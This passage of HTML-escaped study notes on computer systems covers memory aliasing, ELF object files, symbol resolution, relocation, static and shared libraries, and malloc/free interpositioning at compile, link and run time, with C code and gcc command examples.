&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# sum_rows1 inner loop
.L4:
  movsd (%rsi, %rax, 8), %xmm0 # FP load
  addsd (%rdi), %xmm0          # FP add
  movsd %xmm0, (%rsi, %rax, 8) # FP store
  addq $8, %rdi
  cmpq %rcx, %rdi
  jne .L4
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Memory Aliasing&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Code updates &lt;code&gt;b[i]&lt;/code&gt; on every iteration&lt;/li&gt;
&lt;li&gt;Must consider possibility that these updates will affect program behavior&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;Removing Aliasing&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;/* Sum rows is of n X n matrix a
   and store in vector b */
void sum_rows2(double *a, double *b, long n) {
  long i, j;
  for (i = 0; i &amp;lt; n; i++) {
    double val = 0;
    for (j = 0; j &amp;lt; n; j++)
      val += a[i*n + j];
    b[i] = val;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# sum_rows2 inner loop
.L10:
  addsd (%rdi), %xmm0 # FP load + add
  addq $8, %rdi
  cmpq %rax, %rdi
  jne .L10
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;No need to store intermediate results&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Optimization Blocker: Memory Aliasing&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Aliasing
&lt;ul&gt;
&lt;li&gt;Two different memory references specify single location&lt;/li&gt;
&lt;li&gt;Easy to have happen in C
&lt;ul&gt;
&lt;li&gt;Since allowed to do address arithmetic&lt;/li&gt;
&lt;li&gt;Direct access to storage structures&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Get in habit of introducing local variables
&lt;ul&gt;
&lt;li&gt;Accumulating within loops&lt;/li&gt;
&lt;li&gt;Your way of telling compiler not to check for aliasing&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Exploiting Instruction‐Level Parallelism&lt;/h2&gt;
&lt;p&gt;TODO&lt;/p&gt;
&lt;h2&gt;Dealing with Conditionals&lt;/h2&gt;
&lt;p&gt;TODO&lt;/p&gt;
&lt;h1&gt;The Memory Hierarchy&lt;/h1&gt;
&lt;p&gt;TODO&lt;/p&gt;
&lt;h1&gt;Cache Memories&lt;/h1&gt;
&lt;p&gt;TODO&lt;/p&gt;
&lt;h1&gt;Linking&lt;/h1&gt;
&lt;h2&gt;Static Linking&lt;/h2&gt;
&lt;p&gt;Programs are translated and linked using a compiler driver: &lt;code&gt;gcc -Og -o prog main.c sum.c&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.7axguzk7iw.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h3&gt;Why Linkers ?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Reason 1: Modularity
&lt;ul&gt;
&lt;li&gt;Program can be written as a collection of smaller source files, rather than one monolithic mass&lt;/li&gt;
&lt;li&gt;Can build libraries of common functions
&lt;ul&gt;
&lt;li&gt;E.g., Math library, Standard C library&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Reason 2: Efficiency
&lt;ul&gt;
&lt;li&gt;Time: Separate compilation
&lt;ul&gt;
&lt;li&gt;Change one source file, compile, and then relink&lt;/li&gt;
&lt;li&gt;No need to recompile other source files&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Space: Libraries
&lt;ul&gt;
&lt;li&gt;Common functions can be aggregated into a single file&lt;/li&gt;
&lt;li&gt;Yet executable files and running memory images contain only code for the functions they actually use&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;What Do Linkers Do ?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Step 1: Symbol resolution
&lt;ul&gt;
&lt;li&gt;Programs define and reference symbols (global variables and functions)
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;void swap() { ... } /* define symbol swap */&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;swap(); /* reference symbol swap */&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;int *xp = &amp;amp;x; /* define symbol xp, reference x */&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Symbol definitions are stored in object file (by assembler) in symbol table
&lt;ul&gt;
&lt;li&gt;Symbol table is an array of &lt;code&gt;structs&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Each entry includes name, size, and location of symbol&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;During symbol resolution step, the linker associates each symbol reference with exactly one symbol definition&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Step 2: Relocation
&lt;ul&gt;
&lt;li&gt;Merges separate code and data sections into single sections&lt;/li&gt;
&lt;li&gt;Relocates symbols from their relative locations in the &lt;code&gt;.o&lt;/code&gt; files to their final absolute memory locations in the executable&lt;/li&gt;
&lt;li&gt;Updates all references to these symbols to reflect their new positions&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Three Kinds of Object Files (Modules)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Relocatable object file (&lt;code&gt;.o&lt;/code&gt; file)
&lt;ul&gt;
&lt;li&gt;Contains code and data in a form that can be combined with other relocatable object files to form executable object file
&lt;ul&gt;
&lt;li&gt;Each &lt;code&gt;.o&lt;/code&gt; file is produced from exactly one source (&lt;code&gt;.c&lt;/code&gt;) file&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Executable object file (&lt;code&gt;a.out&lt;/code&gt; file)
&lt;ul&gt;
&lt;li&gt;Contains code and data in a form that can be copied directly into memory and then executed&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Shared object file (&lt;code&gt;.so&lt;/code&gt; file)
&lt;ul&gt;
&lt;li&gt;Special type of relocatable object file that can be loaded into memory and linked dynamically, at either load time or run-time&lt;/li&gt;
&lt;li&gt;Called Dynamic Link Libraries (DLLs) by Windows&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Executable and Linkable Format (ELF)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Standard binary format for object files&lt;/li&gt;
&lt;li&gt;One unified format for
&lt;ul&gt;
&lt;li&gt;Relocatable object files (&lt;code&gt;.o&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Executable object files (&lt;code&gt;a.out&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Shared object files (&lt;code&gt;.so&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Generic name: ELF binaries&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;ELF Object File Format&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;ELF header
&lt;ul&gt;
&lt;li&gt;Word size, byte ordering, file type (&lt;code&gt;.o&lt;/code&gt;, &lt;code&gt;exec&lt;/code&gt;, &lt;code&gt;.so&lt;/code&gt;), machine type, etc&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Segment header table (required for executables)
&lt;ul&gt;
&lt;li&gt;Page size, virtual addresses memory segments (sections), segment sizes&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.text&lt;/code&gt; section
&lt;ul&gt;
&lt;li&gt;Code&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.rodata&lt;/code&gt; section
&lt;ul&gt;
&lt;li&gt;Read only data: jump tables, ...&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.data&lt;/code&gt; section
&lt;ul&gt;
&lt;li&gt;Initialized global variables&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.bss&lt;/code&gt; section
&lt;ul&gt;
&lt;li&gt;Global variables that are uninitialized or initialized to zero&lt;/li&gt;
&lt;li&gt;Block Started by Symbol&lt;/li&gt;
&lt;li&gt;&quot;Better Save Space&quot;&lt;/li&gt;
&lt;li&gt;Has section header but occupies no space&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.symtab&lt;/code&gt; section
&lt;ul&gt;
&lt;li&gt;Symbol table&lt;/li&gt;
&lt;li&gt;Procedure and static variable names&lt;/li&gt;
&lt;li&gt;Section names and locations&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.rel.text&lt;/code&gt; section
&lt;ul&gt;
&lt;li&gt;Relocation info for &lt;code&gt;.text&lt;/code&gt; section&lt;/li&gt;
&lt;li&gt;Addresses of instructions that will need to be modified in the executable&lt;/li&gt;
&lt;li&gt;Instructions for modifying&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.debug&lt;/code&gt; section
&lt;ul&gt;
&lt;li&gt;Info for symbolic debugging (&lt;code&gt;gcc -g&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Section header table
&lt;ul&gt;
&lt;li&gt;Offsets and sizes of each section&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Linker Symbols&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Global symbols
&lt;ul&gt;
&lt;li&gt;Symbols defined by module m that can be referenced by other modules&lt;/li&gt;
&lt;li&gt;E.g.: non-static C functions and non-static global variables&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;External symbols
&lt;ul&gt;
&lt;li&gt;Global symbols that are referenced by module m but defined by some other module&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Local symbols
&lt;ul&gt;
&lt;li&gt;Symbols that are defined and referenced exclusively by module m&lt;/li&gt;
&lt;li&gt;E.g.: C functions and global variables defined with the static attribute&lt;/li&gt;
&lt;li&gt;Local linker symbols are not local program variables&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Local non-static C variables vs. local static C variables&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Local non-static C variables stored on the stack&lt;/li&gt;
&lt;li&gt;Local static C variables stored in either &lt;code&gt;.bss&lt;/code&gt;, or &lt;code&gt;.data&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;int f() {
  static int x = 0; /* .bss */
  return x;
}

int g() {
  static int x = 1; /* .data */
  return x;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In the case above, compiler allocates space in &lt;code&gt;.data&lt;/code&gt; for each definition of &lt;code&gt;x&lt;/code&gt; and creates local symbols in the symbol table with unique names, e.g., &lt;code&gt;x.1&lt;/code&gt; and &lt;code&gt;x.2&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;:::important
Local static variables are only initialized at first time encountered, calls after won&apos;t reinitialize.
:::&lt;/p&gt;
&lt;h2&gt;How Linker Resolves Duplicate Symbol Definitions&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Program symbols are either &lt;code&gt;strong&lt;/code&gt; or &lt;code&gt;weak&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;Strong: procedures and initialized globals&lt;/li&gt;
&lt;li&gt;Weak: uninitialized globals&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Linker&apos;s Symbol Rules&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Rule 1: Multiple strong symbols are not allowed
&lt;ul&gt;
&lt;li&gt;Each item can be defined only once&lt;/li&gt;
&lt;li&gt;Otherwise: Linker error&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Rule 2: Given a strong symbol and multiple weak symbols, choose the strong symbol
&lt;ul&gt;
&lt;li&gt;References to the weak symbol resolve to the strong symbol&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Rule 3: If there are multiple weak symbols, pick an arbitrary one
&lt;ul&gt;
&lt;li&gt;Can override this with &lt;code&gt;gcc –fno-common&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.2dp07cdtux.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.3gopi8muuz.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h3&gt;Global Variables&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Avoid if you can&lt;/li&gt;
&lt;li&gt;Otherwise
&lt;ul&gt;
&lt;li&gt;Use &lt;code&gt;static&lt;/code&gt; if you can&lt;/li&gt;
&lt;li&gt;Initialize if you define a global variable&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;extern&lt;/code&gt; if you reference an external global variable&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Relocation&lt;/h2&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.3k8bfyl2zl.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h3&gt;Relocation Entries&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;int array[2] = {1, 2};

int main() {
  int val = sum(array, 2);
  return val;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;0000000000000020 &amp;lt;main&amp;gt;:
  20: be 02 00 00 00        mov    $0x2,%esi
  25: 48 8d 3d 00 00 00 00  lea    0x0(%rip),%rdi        # 2c &amp;lt;main+0xc&amp;gt;
   28: R_X86_64_PC32 array-0x4
  2c: e8 00 00 00 00        call   31 &amp;lt;main+0x11&amp;gt;
   2d: R_X86_64_PLT32 sum-0x4
  31: c3                    ret
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Relocated .text section&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;0000000000001120 &amp;lt;sum&amp;gt;:
    1120: ba 00 00 00 00        mov    $0x0,%edx
    1125: b8 00 00 00 00        mov    $0x0,%eax
    112a: eb 0d                 jmp    1139 &amp;lt;sum+0x19&amp;gt;
    112c: 0f 1f 40 00           nopl   0x0(%rax)
    1130: 48 63 c8              movslq %eax,%rcx
    1133: 03 14 8f              add    (%rdi,%rcx,4),%edx
    1136: 83 c0 01              add    $0x1,%eax
    1139: 39 f0                 cmp    %esi,%eax
    113b: 7c f3                 jl     1130 &amp;lt;sum+0x10&amp;gt;
    113d: 89 d0                 mov    %edx,%eax
    113f: c3                    ret

0000000000001140 &amp;lt;main&amp;gt;:
    1140: be 02 00 00 00        mov    $0x2,%esi
    1145: 48 8d 3d c4 2e 00 00  lea    0x2ec4(%rip),%rdi        # 4010 &amp;lt;array&amp;gt;
    114c: e8 cf ff ff ff        call   1120 &amp;lt;sum&amp;gt;
    1151: c3                    ret
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Using PC-relative addressing for &lt;code&gt;sum&lt;/code&gt;: &lt;code&gt;0x1120 = 0x1151 + 0xffffffcf&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Loading Executable Object Files&lt;/h2&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.9kghkpo5fp.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h2&gt;Packaging Commonly Used Functions&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;How to package functions commonly used by programmers ?
&lt;ul&gt;
&lt;li&gt;Math, I/O, memory management, string manipulation, etc&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Awkward, given the linker framework so far:
&lt;ul&gt;
&lt;li&gt;Option 1: Put all functions into a single source file
&lt;ul&gt;
&lt;li&gt;Programmers link big object file into their programs&lt;/li&gt;
&lt;li&gt;Space and time inefficient&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Option 2: Put each function in a separate source file
&lt;ul&gt;
&lt;li&gt;Programmers explicitly link appropriate binaries into their programs&lt;/li&gt;
&lt;li&gt;More efficient, but burdensome on the programmer&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Old-fashioned Solution: Static Libraries&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Static libraries (&lt;code&gt;.a&lt;/code&gt; archive files)
&lt;ul&gt;
&lt;li&gt;Concatenate related relocatable object files into a single file with an index (called an archive)&lt;/li&gt;
&lt;li&gt;Enhance linker so that it tries to resolve unresolved external references by looking for the symbols in one or more archives&lt;/li&gt;
&lt;li&gt;If an archive member file resolves reference, link it into the executable&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Creating Static Libraries&lt;/h2&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.8z6tz68a3z.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Archiver allows incremental updates&lt;/li&gt;
&lt;li&gt;Recompile function that changes and replace &lt;code&gt;.o&lt;/code&gt; file in archive&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Linking with Static Libraries&lt;/h2&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.2326ezwqsn.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h2&gt;Using Static Libraries&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Linker&apos;s algorithm for resolving external references
&lt;ul&gt;
&lt;li&gt;Scan &lt;code&gt;.o&lt;/code&gt; files and &lt;code&gt;.a&lt;/code&gt; files in the command line order&lt;/li&gt;
&lt;li&gt;During the scan, keep a list of the current unresolved references&lt;/li&gt;
&lt;li&gt;As each new &lt;code&gt;.o&lt;/code&gt; or &lt;code&gt;.a&lt;/code&gt; file, obj, is encountered, try to resolve each unresolved reference in the list against the symbols defined in obj&lt;/li&gt;
&lt;li&gt;If any entries in the unresolved list at end of scan, then error&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Problem
&lt;ul&gt;
&lt;li&gt;Command line order matters!&lt;/li&gt;
&lt;li&gt;Moral: put libraries at the end of the command line&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;unix&amp;gt; gcc -L. libtest.o -lmine
unix&amp;gt; gcc -L. -lmine libtest.o
libtest.o: In function `main&apos;:
libtest.o(.text+0x4): undefined reference to `libfun&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Shared Libraries&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Static libraries have the following disadvantages&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Duplication in the stored executables (every function needs libc)&lt;/li&gt;
&lt;li&gt;Duplication in the running executables&lt;/li&gt;
&lt;li&gt;Minor bug fixes of system libraries require each application to explicitly relink&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Modern solution: Shared Libraries&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Object files that contain code and data that are loaded and linked into an application dynamically, at either load-time or run-time&lt;/li&gt;
&lt;li&gt;Also called: dynamic link libraries, DLLs, &lt;code&gt;.so&lt;/code&gt; files&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Dynamic linking can occur when executable is first loaded and run (load-time linking)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Common case for Linux, handled automatically by the dynamic linker (&lt;code&gt;ld-linux.so&lt;/code&gt;)
Standard C library (&lt;code&gt;libc.so&lt;/code&gt;) usually dynamically linked&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Dynamic linking can also occur after program has begun (run-time linking)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;In Linux, this is done by calls to the &lt;code&gt;dlopen()&lt;/code&gt; interface
&lt;ul&gt;
&lt;li&gt;Distributing software&lt;/li&gt;
&lt;li&gt;High-performance web servers&lt;/li&gt;
&lt;li&gt;Runtime library interpositioning&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Shared library routines can be shared by multiple processes&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Dynamic Linking at Load-time&lt;/h3&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.6wr1b588zg.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h3&gt;Dynamic Linking at Run-time&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;dlfcn.h&amp;gt;

int x[2] = {1, 2};
int y[2] = {3, 4};
int z[2];

int main() {
  void *handle;
  void (*addvec)(int *, int *, int *, int);
  char *error;

  /* Dynamically load the shared library that contains addvec() */
  handle = dlopen(&quot;./libvector.so&quot;, RTLD_LAZY);
  if (!handle) {
    fprintf(stderr, &quot;%s\n&quot;, dlerror());
    exit(1);
  }

  /* Get a pointer to the addvec() function we just loaded */
  addvec = dlsym(handle, &quot;addvec&quot;);
  if ((error = dlerror()) != NULL) {
    fprintf(stderr, &quot;%s\n&quot;, error);
    exit(1);
  }

  /* Now we can call addvec() just like any other function */
  addvec(x, y, z, 2);
  printf(&quot;z = [%d %d]\n&quot;, z[0], z[1]);

  /* Unload the shared library */
  if (dlclose(handle) &amp;lt; 0) {
    fprintf(stderr, &quot;%s\n&quot;, dlerror());
    exit(1);
  }
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Library Interpositioning&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Its a powerful linking technique that allows programmers to intercept calls to arbitrary functions&lt;/li&gt;
&lt;li&gt;Interpositioning can occur at:
&lt;ul&gt;
&lt;li&gt;Compile time: When the source code is compiled&lt;/li&gt;
&lt;li&gt;Link time: When the relocatable object files are statically linked to form an executable object file&lt;/li&gt;
&lt;li&gt;Load/Run time: When an executable object file is loaded into memory, dynamically linked, and then executed&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Example Program&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;malloc.h&amp;gt;

int main() {
  int *p = malloc(32);
  free(p);
  return(0);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Goal: trace the addresses and sizes of the allocated and freed blocks, without breaking the program, and without modifying the source code&lt;/li&gt;
&lt;li&gt;Three solutions: interpose on the lib &lt;code&gt;malloc&lt;/code&gt; and &lt;code&gt;free&lt;/code&gt; functions at compile time, link time, and load/run time&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Compile-time Interpositioning&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#ifdef COMPILETIME
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;malloc.h&amp;gt;

/* malloc wrapper function */
void *mymalloc(size_t size) {
  void *ptr = malloc(size);
  printf(&quot;malloc(%d)=%p\n&quot;, (int)size, ptr);
  return ptr;
}

/* free wrapper function */
void myfree(void *ptr) {
  free(ptr);
  printf(&quot;free(%p)\n&quot;, ptr);
}
#endif
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;#define malloc(size) mymalloc(size)
#define free(ptr) myfree(ptr)

void *mymalloc(size_t size);
void myfree(void *ptr);
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;linux&amp;gt; make intc
gcc -Wall -DCOMPILETIME -c mymalloc.c
gcc -Wall -I. -o intc int.c mymalloc.o
linux&amp;gt; make runc
./intc
malloc(32)=0x1edc010
free(0x1edc010)
linux&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Link-time Interpositioning&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#ifdef LINKTIME
#include &amp;lt;stdio.h&amp;gt;

void *__real_malloc(size_t size);
void __real_free(void *ptr);

/* malloc wrapper function */
void *__wrap_malloc(size_t size) {
  void *ptr = __real_malloc(size); /* Call libc malloc */
  printf(&quot;malloc(%d) = %p\n&quot;, (int)size, ptr);
  return ptr;
}

/* free wrapper function */
void __wrap_free(void *ptr) {
  __real_free(ptr); /* Call libc free */
  printf(&quot;free(%p)\n&quot;, ptr);
}
#endif
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;linux&amp;gt; make intl
gcc -Wall -DLINKTIME -c mymalloc.c
gcc -Wall -c int.c
gcc -Wall -Wl,--wrap,malloc -Wl,--wrap,free -o intl int.o mymalloc.o
linux&amp;gt; make runl
./intl
malloc(32) = 0x1aa0010
free(0x1aa0010)
linux&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;The &lt;code&gt;-Wl&lt;/code&gt; flag passes argument to linker, replacing each comma with a space&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;--wrap,malloc&lt;/code&gt; arg instructs linker to resolve references in a special way:
&lt;ul&gt;
&lt;li&gt;Refs to &lt;code&gt;malloc&lt;/code&gt; should be resolved as &lt;code&gt;__wrap_malloc&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Refs to &lt;code&gt;__real_malloc&lt;/code&gt; should be resolved as &lt;code&gt;malloc&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Load/Run time Interpositioning&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#ifdef RUNTIME
#define _GNU_SOURCE
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;dlfcn.h&amp;gt;

/* malloc wrapper function */
void *malloc(size_t size) {
  void *(*mallocp)(size_t size);
  char *error;

  mallocp = dlsym(RTLD_NEXT, &quot;malloc&quot;); /* Get addr of libc malloc */
  if ((error = dlerror()) != NULL) {
    fputs(error, stderr);
    exit(1);
  }
  char *ptr = mallocp(size); /* Call libc malloc */
  printf(&quot;malloc(%d) = %p\n&quot;, (int)size, ptr);
  return ptr;
}

/* free wrapper function */
void free(void *ptr) {
  void (*freep)(void *) = NULL;
  char *error;

  if (!ptr)
    return;

  freep = dlsym(RTLD_NEXT, &quot;free&quot;); /* Get address of libc free */
  if ((error = dlerror()) != NULL) {
    fputs(error, stderr);
    exit(1);
  }
  freep(ptr); /* Call libc free */
  printf(&quot;free(%p)\n&quot;, ptr);
}
#endif
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;linux&amp;gt; make intr
gcc -Wall -DRUNTIME -shared -fpic -o mymalloc.so mymalloc.c -ldl
gcc -Wall -o intr int.c
linux&amp;gt; make runr
(LD_PRELOAD=&quot;./mymalloc.so&quot; ./intr)
malloc(32) = 0xe60010
free(0xe60010)
linux&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;The &lt;code&gt;LD_PRELOAD&lt;/code&gt; environment variable tells the dynamic linker to resolve unresolved refs (e.g., to &lt;code&gt;malloc&lt;/code&gt;) by looking in &lt;code&gt;mymalloc.so&lt;/code&gt; first&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Exceptional Control Flow&lt;/h1&gt;
&lt;h2&gt;Control Flow&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Processors do only one thing:
&lt;ul&gt;
&lt;li&gt;From startup to shutdown, a CPU simply reads and executes (interprets) a sequence of instructions, one at a time&lt;/li&gt;
